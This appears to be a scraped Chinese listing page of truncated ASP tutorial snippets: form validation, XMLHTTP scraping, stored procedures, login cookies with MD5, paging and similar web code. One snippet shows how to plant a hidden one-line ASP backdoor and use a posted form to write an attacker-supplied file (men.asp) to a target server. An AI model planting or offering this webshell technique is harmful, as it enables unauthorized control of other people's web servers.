1、注册时验证数据库用户名是否存在。 2、输入密码时提示密码强度和验证2次密码输入是否一样。 3、注册时验证数据库联系邮箱是否存在。 4、注册时验证用户输入的验证码和系统产生的验证码是否一致。 5、对输入中文验证 6、QQ号码验证 7、身份证号码验证 代码如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.gxlsystem.com All Rights Reserved"/> <title>http://www.gxlsystem.com—会员注册</...
代码如下:<% Function Bytes2bStr(vin,cSet) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.CharSet = cSet BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function Set xmlhttp = se...
代码如下:<title>雷锋|优酷-专辑 采集程序</title></head> <form name="form1" method="post" action="?action=add"> <table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" class="tableBorder"> <tr><th colspan="2" align="center" class="tableHeaderText"><<<< <font color=red>雷锋|优酷-专辑 采集程序</font> >>>></td></tr> <tr><td align="center"><a href="http://www.gxlsystem.com/playlist/...
原理 采集程序实际上是通过了XML中的XMLHTTP组件调用其它网站上的网页。比如新闻采集程序，很多都是调用了sina的新闻网页，并且对其中的html进行了一些替换，同时对广告也进行了过滤。用采集程序的优点有：无须维护网站，因为采集程序中的数据来自其他网站，它将随着该网站的更新而更新；可以节省服务器资源，一般采集程序就几个文件，所有网页内容都是来自其他网站。缺点有：不稳定，如果目标网站出错，程序也会出错，而且，如果目...
定义总是很抽象。存储进程其实就是能完成一定操作的一组SQL语句，只不过这组语句是放在数据库中的(这里我们只谈SQL SERVER)。如果我们通过创建存储进程以及在ASP中调用存储进程，就可以避免将SQL语句同ASP代码混杂在一起。这样做的好处至少有三个： 第一、大大提高效率。存储进程本身的执行速度非常快，而且，调用存储进程可以大大减少同数据库的交互次数。 第二、提高安全性。假如将SQL语句混合在ASP代码中，一旦代码失密，...
用采集程序的优点有：无须维护网站，因为采集程序中的数据来自其他网站，它将随着该网站的更新而更新；可以节省服务器资源，一般采集程序就几个文件，所有网页内容都是来自其他网站。缺点有：不稳定，如果目标网站出错，程序也会出错，而且，如果目标网站进行升级维护，那么采集程序也要进行相应修改；速度，因为是远程调用，速度和在本地服务器上读取数据比起来，肯定要慢一些。一、事例 下面就XMLHTTP在ASP中的应用做个简单说明 ...
代码如下:arr = array(12,52,14,43,24,58,15,64,24,57,17,56,45) arrLen = ubound(arr) for i=0 to arrLen-1 for j = 0 to (arrlen -1)-i if arr(j)>arr(j+1) then temp = arr(j) arr(j)= arr(j+1) arr(j+1) = temp end if next next for each l in arr response.Write l&"<br>" next
首先在asp文件中写如<%execute request("value")%>代码如果想要隐藏，就要加入一些if判断语句，即可然后在本地写个表单 代码如下:<form action=http://***.com/jb51.asp method=post> <textarea name=value cols=120 rows=10 width=45> set lP=server.createObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("hackbin") lP.SaveToFile server.mappath("men.asp"),2 lP.Close set lP=nothing r...
如下所示: 代码如下:Set Catalog_object= Server.CreateObject("ADOX.Catalog") Catalog_object.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("/jb51.net.mdb")) 简单的两句话就可以创建出access数据库，在create函数中你只需要提供“数据库文件的路径”。 刚创建的access数据库是个“空库”，其中没有任何表
代码如下:<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <!--#include virtual="/inc/MD5.asp"--> <!--#include virtual="/Inc/conn.asp" --> <% '16 md5 1234656789 323b453885f5181f ' discuz 25f9e794323b453885f5181f1b624d0b 'Response.Write(Md5("123456789")) 'Response.Write("Cookie："&Request.Cookies("dnt")("userid")) Dim userName:userName = Request.Form("userName") Dim passWord:passWord = Request.Form("passWo...
代码如下:登陆时记录cookies页面代码 <!--#include file="md5.asp"--> //32位md5加密文件,一定得调用,该文件到处有,我就不提供了 <% dim Username,Password,Question,Answer,Expires,Verify Username=replace(trim(Request.form("Username")),"'","''") //用户名 Password=replace(trim(Request.form("Password")),"'","''") //用户密码 Question=replace(trim(Request.form("Question")),"'","''") //密码问题 Answer=replace(tri...
以下是menu.asp代码 程序代码 <% '--------------------------------------- '作者:野 草 '日期:2006年4月24日 'Q Q:94440079 '--------------------------------------- '读取XML文件函数 Function YCMS_menu() dim menu_temp,m Set goxml=Server.CreateObject("Microsoft.XMLDOM") goxml.load(Server.MapPath("menu.xml")) Set goroot=goxml.documentElement.selectSingleNode("menu") m=0 For each child in goroot.childNodes ...
作用：用ASP程序将页面中的电话号码生成图片格式。 代码如下:<% Call Com_CreatValidCode(Request.QueryString("tel")) Public Sub Com_CreatValidCode(pTel) '----------禁止缓存 Response.Expires = 0 Response.AddHeader "Pragma","no-cache" Response.AddHeader "cache-ctrol","no-cache" Response.ContentType = "Image/BMP" Randomize Dim i, ii, iii ,rndColor,strLen,sql,rs Const cOdds = 5 '------------杂点出现的机率...
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>asp分页程序</title> <style type="text/css"> <!-- .STYLE1 {font-size: 12px} --> </style></head> <body> <p> <ta...
前两天在做一个站内版的企搜引擎，发现某些站点可以链接站点内容。。 奇怪之下看了看，原来是按照数据库ID的自动编号规律进行链接的~~ 闲暇之余弄了下面这个东东，希望对大家在以后的编写ASP程序中有所帮助！ <% ''//生成指定位数的随机数字 ''//也可以用Guidy写的iXuEr_Rnd_Str函数，自带15种样式，可以伪MD5啦!! Function rndStr(strLong) Dim tempStr Randomize Do While Len(rndStr) < strLo...